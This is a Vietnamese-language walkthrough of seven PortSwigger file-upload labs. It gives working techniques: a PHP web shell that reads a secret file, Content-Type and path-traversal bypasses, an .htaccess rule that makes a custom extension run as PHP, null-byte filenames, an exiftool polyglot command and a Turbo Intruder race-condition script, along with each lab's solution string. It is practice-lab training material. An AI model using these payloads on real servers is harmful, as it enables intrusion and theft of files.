# FILE UPLOADS VULNERABILITIES WRITE UP
---
###### tags: `PortSwigger` `Writeup`
## 1. Lab: Remote code execution via web shell upload

- Lab này có chứa lỗ hổng ở chức năng upload ảnh, nó không duyệt bức ảnh của ta mà lưu trữ thẳng vào hệ thống file của server, để giải quyết được lab, em cần tìm được nội dung bên trong file /home/carlos/secret, và nộp nó với nút ở trên banner của lab.
- Em được cấp tài khoản của chính mình: wiener:peter
- Vì nó đang có lỗ hổng ở tính năng đăng tệp lên, nên đầu tiên em sẽ thử tính năng đăng tệp lên, cụ thể là đổi ảnh đại diện của tài khoản, nên em đã thử tính năng đó:

- Nó thực sự không hề duyệt file nào em đã gửi vào, nên em đã upload lên file **shell.php** của em như sau:
```php!=
<?php
echo file_get_contents('/home/carlos/secret');
?>
```
- Câu lệnh `file_get_contents` là để lấy thông tin ra từ file bên trong, và em cho đường dẫn đến file vào. Như vậy em sẽ lấy ra được nội dung của file secret của Carlos:

- Trang web đã thông báo lấy được thành công và file shell.pgp đã được lưu vào hệ thống file.
- Sau đó, em chỉ cần thoát ra và mở ảnh của em ở tab mới là em có thể xem được file này chứa gì

- File của em như sau:

- Như vậy, solution của lab là: `v6nG3SfI1emyK9CXrEYKlEz9vGRToa28`

## 2. Lab: Web shell upload via Content-Type restriction bypass

- Lab này có chứa lỗ hổng ở chức năng upload ảnh, trang web này sẽ chặn user gửi những định dạng file không phù hợp, nhưng quá trình kiểm tra người dùng có thể kiểm soát được.
- Để solve lab, em cần phải gửi 1 đoạn code PHP cơ bản và dùng nó để lấy được nội dung của file /home/carlos/secret.
- Em được cấp tài khoản của chính mình là: wiener:peter

- Như em thấy, thì chỉ những file được định dạng là image/png thì mới có thể upload được lên web, sau khi thử đăng shell.php lên thì đúng như vậy

- Em đã thực hiện đổi `Content-Type` thành image/png để bypass, và trang web đã thực sự nhận nó:

- Sau đó em chỉ cần mở file mà nó đã lưu thành avatar của em ở tab mới, và em đã có được solution của lab:

- Như vậy, solution của lab là: `C2qq9Qy5HXdezUaW5KIB92wYEirqn4to`

## 3. Lab: Web shell upload via path traversal

- Lab này có chứa một lỗ hổng trong quá trình upload ảnh, server đã được cấu hình để chặn những file mà user gửi đến, nhưng cách này có thể bị bypass bởi việc chuyển thư viện, hay path traversal (sử dụng `../`)
- Để giải quyết được lab, em cần thực thi code PHP để lấy được nội dung của file /home/carlos/secret, sử dụng tài khoản của chính mình: wiener:peter
- Đầu tiên, em quan sát việc server sẽ phản ứng như nào nếu em gửi file **shell.php** không mà không có một tác động gì:

- Nhìn cứ tưởng bú nhưng em đã nhầm, tuy gửi thành công file **shell.php**, nhưng khi em mở lên thì chỉ có nội dung của file, trang web bảo em là không có chuyện ngon ăn thế đâu em ạ:

- Quan sát thì em có thể nhận thấy là chừng nào file php của em còn ở trong thư mục avatars, thì nó không thể nào thực hiện được mà nó sẽ coi file này là file text mà bê nguyên cho em ra là nội dung của file php
- Em đã nghĩ đến directory tranversal, nếu giờ em thêm `../` trước **shell.php** thì sao? Như ta thấy thì đường dẫn đến file avatar là file/avatar/shell.php, nếu giờ em thực hiện thêm dấu `../` thì nó sẽ lùi về 1 thư mục trước đó
+ `/files/avatars/../shell.php` = `/files/shell.php`
- Chỉ cần để file **shell.php** của em ra ngoài thư mục avatars, em nghĩ là câu lệnh này có thể thực hiện được
- Bắt đầu tiến hành thôi, đầu tiên em thay đổi ở contentype là text/html, rồi sau đó đổi filename = ..%2fshell.php (URL Encode) để đánh lừa trang web về dấu `/`

- Việc gửi đã thành công, giờ em sẽ xem ảnh của em nó như nào, bằng việc gửi kết quả vào trang web và quan sát hình ảnh, như em đã nói ở bên trên, đường dẫn kia mới là đường dẫn em hướng tới:

- Quá ngon, việc directory tranversal đã thành công và em đã có được solution bằng việc đẩy file php của em về cho thư mục files để thư mục files thực thi
- Như vậy, với solution là: `Kea2ZP4pgZJ5Qzh54noTU11AvDUw29xP`, em đã solve được lab

## 4. Lab: Web shell upload via extension blacklist bypass

- Lab trên có chứa lỗ hổng ở chứ năng upload ảnh, có một số định dạng file đã bị cấm, nhưng cách này có thể bị bypass bằng cách chỉnh sửa cách cấu hình của blacklist
- Để solve được lab, em cần phải xem được nội dung của file /home/carlos/secret.
- Đầu tiên em cần phải nhận định rằng server đã cấm những file **.php**, vì vậy việc gửi file **shell.php** sẽ không hoạt động:

- Em sẽ không thể nào đổi tên Content-Type được vì nó cũng sẽ chỉ thực hiện file **shell.php** bằng cách show ra nội dung trong file, vậy nên ta cũng sẽ loại cách đó
- Lúc này ta cần phải sử dụng đến config của trang web, ta sẽ sử dụng đến **.htaccess**, đây là một file mà sẽ cấu hình tất cả các loại chức năng của các server chạy apache, như là: cấu hình các loại folder, các chức năng, bảo vệ file, bảo mật, tùy chỉnh url, thêm www vào trang web, che đuôi .php, ...
- Mục đích của em bây giờ sẽ là: thêm vào file **.htaccess** của server bằng cách gửi 1 file **.htaccess** với nội dung tạo ra 1 định dạng file mới, ở đây em chọn là `.bruh` sao cho khi gọi đến nó nó sẽ thực hiện chức năng như là 1 file php.
- File **.htaccess** của em sẽ có dạng như sau:
```
AddType application/x-httpd-php .bruh
```

- Với việc gửi lên file **.htaccess**, giờ em chỉ cần đổi định dạng file **shell.php** của em thành **shell.bruh** là việc upload ảnh đã có thể thực hiện được

- Bypass thành công, em tiến hành GET file **shell.bruh** ở trong files/avatars/shell.bruh và đã có solution:

- Như vậy, em đã solve được lab với solution:`R9D9O1S6Mc6ltTT4Me6btpXKTqz6zXyh`

## 5. Lab: Web shell upload via obfuscated file extension

- Lab này vẫn blacklist một số định dạng file nhất định, nhưng nó có thể bị bypass bởi kỹ thuật che dấu file, để solve được lab em cần phải xem được nội dung của file /home/carlos/secret, với tài khoản mật khẩu được cấp là: wiener:peter
- Với lab này, em sử dụng byte null `%00` vào trước đuôi .jqg, sau kí tự null thì đoạn .jpg ở đằng sau sẽ không có ý nghĩa nữa, vì bản chất của ký tự NULL là để kết thúc một chuỗi, em đã thử và thành công:

- GET file shell.php từ trên files/avatar và em đã có solution:

- Như vậy, với solution: v2NxqZrlJjUgDUFxSjW5dLuA6sfLLIp2, em đã solve được lab:

## 6. Lab: Remote code execution via polyglot web shell upload

- Lab này sẽ kiểm tra nội dung của file để đảm bảo rằng nó thực sự là ảnh, và nhiệm vụ của chúng ta vẫn là xem được nội dung của file: /home/carlos/secret, sử dụng tài khoản đã có: wiener:peter

- Chắc chắn rồi, trang web đã cấm upload file `.php`, nhưng có 1 điều khá thú vị, là nếu em chỉnh sửa extension của ảnh thành `.php` thì ta vẫn upload được, điều đó chứng tỏ trang web không kiểm tra theo Content-type, và nếu bypass được bằng cách làm gì với cái ảnh này thì em có hoàn toàn có thể RCE được:

- Em đã đi tìm hiểu và có một tool cho phép em có thể chèn đoạn code PHP vào một file ảnh jpg, đó là exiftool, giờ em sẽ tiến hành sự dụng exiftool để chèn shell vào trong ảnh joji.jpg này, sau đó đổi extension của file thành joji.php là có thể cắm shell lên được:
- Câu lệnh em sử dụng sẽ là: `exiftool -Comment="<?php echo 'SECRET' . file_get_contents('/home/carlos/secret') . 'SECRET'; ?>" joji.jpg -o joji.php`

- Tạo được file ảnh thành công(ảnh black không hiểu sao không tạo được mọi người thông cảm)
- Giờ chỉ upload file này lên là được

- Upload file ảnh thành công, giờ xem ảnh, vì em để SECRET ở 2 đầu nên ta tìm kiếm nó trong response thì đoạn ở giữa chính là scret của carlos:

- Với secret key là: `KR5pBJIZzhFupMOkG0TcjpYSCZZZ6Pj4`, em đã solve được lab trên:

## 7. Lab: Web shell upload via race condition

- Lab này chứa lỗ hổng khi upload ảnh. Mặc dù nó hiện ra chức năng kiểm tra bất kì file nào được upload, nhưng ta vẫn có thể bypass hệ thống kiểm tra này bằng cách khai thác với race condition. Để solve lab thì em cần phải upload 1 file PHP shell, dùng nó để đọc nội dung của `/home/carlos/secret`. Em có tài khoản của bản thân: `wiener:peter`
- Lab cũng hint cho em đoạn code có dính lỗi race condition:
```php!=
<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];
// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);
if (checkViruses($target_file) && checkFileType($target_file)) {
echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
unlink($target_file);
echo "Sorry, there was an error uploading your file.";
http_response_code(403);
}
function checkViruses($fileName) {
// checking for viruses
...
}
function checkFileType($fileName) {
$imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
if($imageFileType != "jpg" && $imageFileType != "png") {
echo "Sorry, only JPG & PNG files are allowed\n";
return false;
} else {
return true;
}
}
?>
```
- Như ta có thể thấy, khi file được đẩy lên, nó sẽ được lưu tạm thời vào `avatars/`, sau đó trang web tiến hành check virus và check xem file đó có phải ảnh không (file type=jpg hoặc png), nếu thỏa mãn sẽ thông báo file được upload thành công, còn không thì sẽ xóa file đó đồng thời thông báo upload file thất bại
- Nghe thì có vẻ rất chặt chẽ, nhưng với race condition thì sao, em giả dụ giờ em gửi 1 request lên, server sẽ phải xử lý request đó rồi đưa ra kết quả sau, nhưng trong lúc server đang xử lý em tiến hành gửi tiếp một request nữa, thì request đó sẽ được thực thi!
- Đầu tiên em truyền lên file shell.php nhưng không được (chắc chắn rồi), nên sau đó em truyền theo dạng shell.php.png, rồi xem nó ở ava thì chỉ là dạng text, cũng không bú, nên em sẽ tiến hành race condition


- Cài extension Turbo Intruder và đưa vào nó payload POST, sau đó em tiến hành gửi hàng loạt request POST shell.php, và đồng thời là request GET /files/avatars/shell.php để lấy secret:

- Mẫu gửi request:
```python!=
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```



- Attack và ta có secret của carlos là: `YWNao6RQ7kkeU9eKHE8uT2wWeBUjHPoB`
- Solved :heavy_check_mark: :heavy_check_mark:
